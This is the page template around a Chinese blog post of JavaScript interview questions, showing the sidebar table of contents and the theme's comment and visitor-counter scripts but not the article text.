     data-url="https://hongqinma.github.io/2015/07/26/e003-面试题库-js-基础（下）/">
  <div class="ds-share-inline">
    <ul  class="ds-share-icons-16">

      <li data-toggle="ds-share-icons-more"><a class="ds-more" href="javascript:void(0);">分享到：</a></li>
      <li><a class="ds-weibo" href="javascript:void(0);" data-service="weibo">微博</a></li>
      <li><a class="ds-qzone" href="javascript:void(0);" data-service="qzone">QQ空间</a></li>
      <li><a class="ds-qqt" href="javascript:void(0);" data-service="qqt">腾讯微博</a></li>
      <li><a class="ds-wechat" href="javascript:void(0);" data-service="wechat">微信</a></li>

    </ul>
    <div class="ds-share-icons-more">
    </div>
  </div>
</div>
      
    </div>
  </div>


          </div>
          


          
  <div class="comments" id="comments">
    
      <div class="ds-thread" data-thread-key="2015/07/26/e003-面试题库-js-基础（下）/"
           data-title="题库-js 基础（下）" data-url="https://hongqinma.github.io/2015/07/26/e003-面试题库-js-基础（下）/">
      </div>
    
  </div>


        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap" >
            Table of Contents
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview">
            Overview
          </li>
        </ul>
      

      <section class="site-overview sidebar-panel ">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="//schema.org/Person">
          <img class="site-author-image" itemprop="image"
               src="/images/photo.jpg"
               alt="Hongqin Ma" />
          <p class="site-author-name" itemprop="name">Hongqin Ma</p>
          <p class="site-description motion-element" itemprop="description">Spell at all costs， to rush you in the future. </p>
        </div>
        <nav class="site-state motion-element">
          <div class="site-state-item site-state-posts">
            <a href="/archives">
              <span class="site-state-item-count">68</span>
              <span class="site-state-item-name">posts</span>
            </a>
          </div>

          
            <div class="site-state-item site-state-categories">
              <a href="/categories">
                <span class="site-state-item-count">16</span>
                <span class="site-state-item-name">categories</span>
              </a>
            </div>
          

          
            <div class="site-state-item site-state-tags">
              <a href="/tags">
                <span class="site-state-item-count">57</span>
                <span class="site-state-item-name">tags</span>
              </a>
            </div>
          

        </nav>

        

        <div class="links-of-author motion-element">
          
            
              <span class="links-of-author-item">
                <a href="https://github.com/HongqinMa" target="_blank" title="GitHub">
                  
                    <i class="fa fa-fw fa-github"></i>
                  
                  GitHub
                </a>
              </span>
            
              <span class="links-of-author-item">
                <a href="https://twitter.com/HongqinMa" target="_blank" title="Twitter">
                  
                    <i class="fa fa-fw fa-twitter"></i>
                  
                  Twitter
                </a>
              </span>
            
              <span class="links-of-author-item">
                <a href="https://www.facebook.com/profile.php?id=100006581058735" target="_blank" title="Facebook">
                  
                    <i class="fa fa-fw fa-facebook"></i>
                  
                  Facebook
                </a>
              </span>
            
              <span class="links-of-author-item">
                <a href="http://www.zhihu.com/people/HirakuMa" target="_blank" title="知乎">
                  
                    <i class="fa fa-fw fa-share-alt"></i>
                  
                  知乎
                </a>
              </span>
            
          
        </div>

        
        

        
        
          <div class="links-of-blogroll motion-element links-of-blogroll-inline">
            <div class="links-of-blogroll-title">
              <i class="fa  fa-fw fa-globe"></i>
              Links
            </div>
            <ul class="links-of-blogroll-list">
              
                <li class="links-of-blogroll-item">
                  <a href="http://www.cnblogs.com/rubylouvre/" title="司徒正美" target="_blank">司徒正美</a>
                </li>
              
                <li class="links-of-blogroll-item">
                  <a href="http://www.cnblogs.com/sanshi/" title="三生石上" target="_blank">三生石上</a>
                </li>
              
                <li class="links-of-blogroll-item">
                  <a href="http://www.cnblogs.com/TomXu/" title="汤姆大叔" target="_blank">汤姆大叔</a>
                </li>
              
                <li class="links-of-blogroll-item">
                  <a href="http://gold.xitu.io/" title="掘金" target="_blank">掘金</a>
                </li>
              
                <li class="links-of-blogroll-item">
                  <a href="https://segmentfault.com/" title="segmentfault" target="_blank">segmentfault</a>
                </li>
              
                <li class="links-of-blogroll-item">
                  <a href="http://www.jianshu.com/users/1cbb94e5ed4d/latest_articles" title="简书" target="_blank">简书</a>
                </li>
              
                <li class="links-of-blogroll-item">
                  <a href="https://home.cnblogs.com/" title="博客园" target="_blank">博客园</a>
                </li>
              
                <li class="links-of-blogroll-item">
                  <a href="https://www.awesomes.cn/" title="Awesomes" target="_blank">Awesomes</a>
                </li>
              
            </ul>
          </div>
        

      </section>

      
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">
            
              
            
            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#正则表达式"><span class="nav-number">1.</span> <span class="nav-text">正则表达式</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#写出由字母开头，其余由数字、字母、下划线组成的-6-30-的字符串"><span class="nav-number">1.1.</span> <span class="nav-text">写出由字母开头，其余由数字、字母、下划线组成的 6~30 的字符串</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#写出正确的正则表达式匹配固话号"><span class="nav-number">1.2.</span> <span class="nav-text">写出正确的正则表达式匹配固话号</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#要求最短6位数，最长20位，阿拉伯数和英文字母（不区分大小写）组成"><span class="nav-number">1.3.</span> <span class="nav-text">要求最短6位数，最长20位，阿拉伯数和英文字母（不区分大小写）组成</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#输出结果是"><span class="nav-number">2.</span> <span class="nav-text">输出结果是</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#声明对象，添加属性，输出属性"><span class="nav-number">3.</span> <span class="nav-text">声明对象，添加属性，输出属性</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#匹配输入的字符：第一个必须是字母或下划线开头，长度5-20"><span class="nav-number">4.</span> <span class="nav-text">匹配输入的字符：第一个必须是字母或下划线开头，长度5-20</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#检测变量类型"><span class="nav-number">5.</span> <span class="nav-text">检测变量类型</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#如何在HTML中添加事件"><span class="nav-number">6.</span> <span class="nav-text">如何在HTML中添加事件</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#BOM对象有哪些，列举window对象"><span class="nav-number">7.</span> <span class="nav-text">BOM对象有哪些，列举window对象</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#代码实现-outerHTML"><span class="nav-number">8.</span> <span class="nav-text">代码实现 outerHTML</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#JS中的简单继承-call方法！"><span class="nav-number">9.</span> <span class="nav-text">JS中的简单继承 call方法！</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#bind-live-delegate-的区别"><span class="nav-number">10.</span> <span class="nav-text">bind(), live(), delegate()的区别</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#如何优化自己的代码"><span class="nav-number">11.</span> <span class="nav-text">如何优化自己的代码</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#怎样实现两栏等高"><span class="nav-number">12.</span> <span class="nav-text">怎样实现两栏等高</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#使用js实现这样的效果"><span class="nav-number">13.</span> <span class="nav-text">使用js实现这样的效果</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#以下代码中end字符串什么时候输出"><span class="nav-number">14.</span> <span class="nav-text">以下代码中end字符串什么时候输出</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#实现specify函数"><span class="nav-number">15.</span> <span class="nav-text">实现specify函数</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#简述-readyonly-与-disabled-的区别"><span class="nav-number">16.</span> <span class="nav-text">简述 readyonly 与 disabled 的区别</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#解释ajax的工作原理"><span class="nav-number">17.</span> <span class="nav-text">解释ajax的工作原理</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#为什么扩展javascript内置对象不是好的做法？"><span class="nav-number">18.</span> <span class="nav-text">为什么扩展javascript内置对象不是好的做法？</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#什么是三元表达式？"><span class="nav-number">19.</span> <span class="nav-text">什么是三元表达式？</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#HTTP协议中，GET和POST有什么区别？分别适用什么场景-？"><span class="nav-number">20.</span> <span class="nav-text">HTTP协议中，GET和POST有什么区别？分别适用什么场景 ？</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#HTTP状态消息200-302-304-403-404-500分别表示什么"><span class="nav-number">21.</span> <span class="nav-text">HTTP状态消息200 302 304 403 404 500分别表示什么</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#HTTP协议中，header-信息里面，怎么控制页面失效时间（last-modified-cache-control-Expires分别代表什么）"><span class="nav-number">22.</span> <span class="nav-text">HTTP协议中，header 信息里面，怎么控制页面失效时间（last-modified, cache-control, Expires分别代表什么）</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#业界常用的优化-WEB-页面加载速度的方法（可以分别从页面元素展现，请求连接，css-js-服务器等方面介绍）"><span class="nav-number">23.</span> <span class="nav-text">业界常用的优化 WEB 页面加载速度的方法（可以分别从页面元素展现，请求连接，css,js,服务器等方面介绍）</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#列举常用的-web-页面开发，调试以及优化工具"><span class="nav-number">24.</span> <span class="nav-text">列举常用的 web 页面开发，调试以及优化工具</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#解释什么是sql注入，xss漏洞"><span class="nav-number">25.</span> <span class="nav-text">解释什么是sql注入，xss漏洞</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#请列举js数组类型中的常用方法"><span class="nav-number">26.</span> <span class="nav-text">请列举js数组类型中的常用方法</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#ECMAScript-6-中数组新方法"><span class="nav-number">26.1.</span> <span class="nav-text">ECMAScript 6 中数组新方法</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#FF与IE中如何阻止事件冒泡，如何获取事件对象，以及如何获取触发事件的元素"><span class="nav-number">27.</span> <span class="nav-text">FF与IE中如何阻止事件冒泡，如何获取事件对象，以及如何获取触发事件的元素</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#列举常用的js框架以及分别适用的领域"><span class="nav-number">28.</span> <span class="nav-text">列举常用的js框架以及分别适用的领域</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#js中如何实现一个map"><span class="nav-number">29.</span> <span class="nav-text">js中如何实现一个map</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#js可否实现面向对象编程，如果可以如何实现js对象的继承"><span class="nav-number">30.</span> <span class="nav-text">js可否实现面向对象编程，如果可以如何实现js对象的继承</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#变量的命名规范以及命名推荐"><span class="nav-number">31.</span> <span class="nav-text">变量的命名规范以及命名推荐</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#三种弹窗的单词以及三种弹窗的功能"><span class="nav-number">32.</span> <span class="nav-text">三种弹窗的单词以及三种弹窗的功能</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#输出值是"><span class="nav-number">33.</span> <span class="nav-text">输出值是</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#求一个函数-y-f-x-a-b"><span class="nav-number">34.</span> <span class="nav-text">求一个函数 y = f(x, a, b);</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#JavaScript-alert-0-4-0-2-结果是多少-如何处理"><span class="nav-number">35.</span> <span class="nav-text">JavaScript alert(0.4*0.2); 结果是多少? 如何处理</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#一个div，有几种方式得到这个-div-的-jQuery-对象？"><span class="nav-number">36.</span> <span class="nav-text">一个div，有几种方式得到这个 div 的 jQuery 对象？</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#jQuery-框架中-ajax-的常用参数有哪些"><span class="nav-number">37.</span> <span class="nav-text">jQuery 框架中 $.ajax()的常用参数有哪些</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#闭包"><span class="nav-number">38.</span> <span class="nav-text">闭包</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#列出3条以上-ff-和-IE-的脚本兼容问题"><span class="nav-number">39.</span> <span class="nav-text">列出3条以上 ff 和 IE 的脚本兼容问题</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#列举浏览器对象模型BOM里常用的至少4个对象，并列举window对象的常用方法至少5个"><span class="nav-number">40.</span> <span class="nav-text">列举浏览器对象模型BOM里常用的至少4个对象，并列举window对象的常用方法至少5个</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#在Javascript中什么是伪数组？如何将伪数组转化为标准数组？"><span class="nav-number">41.</span> <span class="nav-text">在Javascript中什么是伪数组？如何将伪数组转化为标准数组？</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#写一个函数可以计算-sum-5-0-5-输出0-sum-1-2-3-4-输出10"><span class="nav-number">42.</span> <span class="nav-text">写一个函数可以计算 sum(5, 0, -5); 输出0; sum(1,2,3,4); 输出10;</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#算法"><span class="nav-number">43.</span> <span class="nav-text">算法</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#请写出一个程序"><span class="nav-number">44.</span> <span class="nav-text">请写出一个程序</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#用JavaScript实现冒泡排序。数据为23、45、18、37、92、13、24"><span class="nav-number">45.</span> <span class="nav-text">用JavaScript实现冒泡排序。数据为23、45、18、37、92、13、24</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#前端代码优化的方法"><span class="nav-number">46.</span> <span class="nav-text">前端代码优化的方法</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#下列JavaScript代码执行后，依次alert的结果是"><span class="nav-number">47.</span> <span class="nav-text">下列JavaScript代码执行后，依次alert的结果是</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#下列JavaScript代码执行后，iNum的值是"><span class="nav-number">48.</span> <span class="nav-text">下列JavaScript代码执行后，iNum的值是</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#输出结果是多少"><span class="nav-number">49.</span> <span class="nav-text">输出结果是多少</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#下列JavaScript代码执行后，运行的结果是"><span class="nav-number">50.</span> <span class="nav-text">下列JavaScript代码执行后，运行的结果是</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#下列JavaScript代码执行后，依次-alert-的结果"><span class="nav-number">51.</span> <span class="nav-text">下列JavaScript代码执行后，依次 alert 的结果</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#下列JavaScript代码执行后的效果是"><span class="nav-number">52.</span> <span class="nav-text">下列JavaScript代码执行后的效果是</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#下列JavaScript代码执行后的-li-元素的数量是"><span class="nav-number">53.</span> <span class="nav-text">下列JavaScript代码执行后的 li 元素的数量是</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#程序中捕获异常的方法"><span class="nav-number">54.</span> <span class="nav-text">程序中捕获异常的方法</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#原型对象上添加方法"><span class="nav-number">55.</span> <span class="nav-text">原型对象上添加方法</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#数组和字符串"><span class="nav-number">56.</span> <span class="nav-text">数组和字符串</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#下列控制台都输出什么"><span class="nav-number">57.</span> <span class="nav-text">下列控制台都输出什么</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#选择题"><span class="nav-number">58.</span> <span class="nav-text">选择题</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#以下哪些是javascript的全局函数：-ABC"><span class="nav-number">58.1.</span> <span class="nav-text">以下哪些是javascript的全局函数：( ABC )</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#关于IE的window对象表述正确的有：-ACD"><span class="nav-number">58.2.</span> <span class="nav-text">关于IE的window对象表述正确的有：( ACD )</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#下面正确的是-A"><span class="nav-number">58.3.</span> <span class="nav-text">下面正确的是 ( A )</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#错误的是-B"><span class="nav-number">58.4.</span> <span class="nav-text">错误的是 ( B )</span></a></li></ol></li></ol></div>
            
          </div>
        </section>
      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright" >
  
  &copy; 
  <span itemprop="copyrightYear">2016</span>
  <span class="with-love">
    <i class="fa fa-heart"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">Hongqin Ma</span>
</div>

<div class="powered-by">
  Powered by <a class="theme-link" href="https://hexo.io">Hexo</a>
</div>

<div class="theme-info">
  Theme -
  <a class="theme-link" href="https://github.com/iissnan/hexo-theme-next">
    NexT.Muse
  </a>
</div>

<script async src="https://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<span id="busuanzi_container_site_pv">
    &nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;Page Views: <span id="busuanzi_value_site_pv"></span> 
</span>

        

<div class="busuanzi-count">

  <script async src="https://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>

  
    <span class="site-uv"><i class="fa fa-user"></i><span class="busuanzi-value" id="busuanzi_value_site_uv"></span></span>
  

  
    <span class="site-pv"><i class="fa fa-eye"></i><span class="busuanzi-value" id="busuanzi_value_site_pv"></span></span>
  
  
</div>



        
      </div>
    </footer>

    <div class="back-to-top">
      <i class="fa fa-arrow-up"></i>
    </div>
  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  



  
  <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>

  
  <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>

  
  <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>

  
  <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>

  
  <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>

  
  <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.0.2"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.0.2"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.0.2"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.0.2"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.0.2"></script>



  

  
    
  

  <script type="text/javascript">
    var duoshuoQuery = {short_name:"Hiraku"};
    (function() {
      var ds = document.createElement('script');
      ds.type = 'text/javascript';ds.async = true;
      ds.id = 'duoshuo-script';
      ds.src = (document.location.protocol == 'https:' ? 'https:' : 'http:') + '//static.duoshuo.com/embed.js';
      ds.charset = 'UTF-8';
      (document.getElementsByTagName('head')[0]
      || document.getElementsByTagName('body')[0]).appendChild(ds);
    })();
  </script>

  
    
    <script src="/lib/ua-parser-js/dist/ua-parser.min.js?v=0.7.9"></script>
    <script src="/js/src/hook-duoshuo.js"></script>
  






  
  

  

  

  
  <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.1.js"></script>
  <script>AV.initialize("PPmoIQxeu8Sd21h6Tl9TthNx-gzGzoHsz", "rTvbY2H7DvWzRipiBwn72RQ4");</script>
  <script>
    function showTime(Counter) {
      var query = new AV.Query(Counter);
      var entries = [];
      var $visitors = $(".leancloud_visitors");

      $visitors.each(function () {
        entries.push( $(this).attr("id").trim() );
      });

      query.containedIn('url', entries);
      query.find()
        .done(function (results) {
          var COUNT_CONTAINER_REF = '.leancloud-visitors-count';

          if (results.length === 0) {
            $visitors.find(COUNT_CONTAINER_REF).text(0);
            return;
          }

          for (var i = 0; i < results.length; i++) {
            var item = results[i];
            var url = item.get('url');
            var time = item.get('time');
            var element = document.getElementById(url);

            $(element).find(COUNT_CONTAINER_REF).text(time);
          }
          for(var i = 0; i < entries.length; i++) {
            var url = entries[i];
            var element = document.getElementById(url);
            var countSpan = $(element).find(COUNT_CONTAINER_REF);
            if( countSpan.text() == '') {
              countSpan.text(0);
            }
          }
        })
        .fail(function (object, error) {
          console.log("Error: " + error.code + " " + error.message);
        });
    }

    function addCount(Counter) {
      var $visitors = $(".leancloud_visitors");
      var url = $visitors.attr('id').trim();
      var title = $visitors.attr('data-flag-title').trim();
      var query = new AV.Query(Counter);

      query.equalTo("url", url);
      query.find({
        success: function(results) {
          if (results.length > 0) {
            var counter = results[0];
            counter.fetchWhenSave(true);
            counter.increment("time");
            counter.save(null, {
              success: function(counter) {
                var $element = $(document.getElementById(url));
                $element.find('.leancloud-visitors-count').text(counter.get('time'));
              },
              error: function(counter, error) {
                console.log('Failed to save Visitor num, with error message: ' + error.message);
              }
            });
          } else {
            var newcounter = new Counter();
            /* Set ACL */
            var acl = new AV.ACL();
            acl.setPublicReadAccess(true);
            acl.setPublicWriteAccess(true);
            newcounter.setACL(acl);
            /* End Set ACL */
            newcounter.set("title", title);
            newcounter.set("url", url);
            newcounter.set("time", 1);
            newcounter.save(null, {
              success: function(newcounter) {
                var $element = $(document.getElementById(url));
                $element.find('.leancloud-visitors-count').text(newcounter.get('time'));
              },
              error: function(newcounter, error) {
                console.log('Failed to create');
              }
            });
          }
        },
        error: function(error) {
          console.log('Error:' + error.code + " " + error.message);
        }
      });
    }

    $(function() {
      var Counter = AV.Object.extend("Counter");
      if ($('.leancloud_visitors').length == 1) {
        addCount(Counter);
      } else if ($('.post-title-link').length > 1) {
        showTime(Counter);
      }
    });
  </script>



  

  

  
  
  <!-- custom analytics part create by xiamo -->
<script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.1.js"></script>
<script>AV.initialize("PPmoIQxeu8Sd21h6Tl9TthNx-gzGzoHsz", "rTvbY2H7DvWzRipiBwn72RQ4");</script>
<script>
function showTime(Counter) {
  var query = new AV.Query(Counter);
  $(".leancloud_visitors").each(function() {
    var url = $(this).attr("id").trim();
    query.equalTo("url", url);
    query.find({
      success: function(results) {
        if (results.length == 0) {
          var content = '0 ' + $(document.getElementById(url)).text();
          $(document.getElementById(url)).text(content);
          return;
        }
        for (var i = 0; i < results.length; i++) {
          var object = results[i];
          var content = object.get('time') + ' ' + $(document.getElementById(url)).text();
          $(document.getElementById(url)).text(content);
        }
      },
      error: function(object, error) {
        console.log("Error: " + error.code + " " + error.message);
      }
    });

  });
}

function addCount(Counter) {
  var Counter = AV.Object.extend("Counter");
  url = $(".leancloud_visitors").attr('id').trim();
  title = $(".leancloud_visitors").attr('data-flag-title').trim();
  var query = new AV.Query(Counter);
  query.equalTo("url", url);
  query.find({
    success: function(results) {
      if (results.length > 0) {
        var counter = results[0];
        counter.fetchWhenSave(true);
        counter.increment("time");
        counter.save(null, {
          success: function(counter) {
            var content =  counter.get('time') + ' ' + $(document.getElementById(url)).text();
            $(document.getElementById(url)).text(content);
          },
          error: function(counter, error) {
            console.log('Failed to save Visitor num, with error message: ' + error.message);
          }
        });
      } else {
        var newcounter = new Counter();
        newcounter.set("title", title);
        newcounter.set("url", url);
        newcounter.set("time", 1);
        newcounter.save(null, {
          success: function(newcounter) {
              console.log("newcounter.get('time')="+newcounter.get('time'));
            var content = newcounter.get('time') + ' ' + $(document.getElementById(url)).text();
            $(document.getElementById(url)).text(content);
          },
          error: function(newcounter, error) {
            console.log('Failed to create');
          }
        });
      }
    },
    error: function(error) {
      console.log('Error:' + error.code + " " + error.message);
    }
  });
}
$(function() {
  var Counter = AV.Object.extend("Counter");
  if ($('.leancloud_visitors').length == 1) {
    addCount(Counter);
  } else if ($('.post-title-link').length > 1) {
    showTime(Counter);
  }
}); 
</script>

  
</body>
</html>
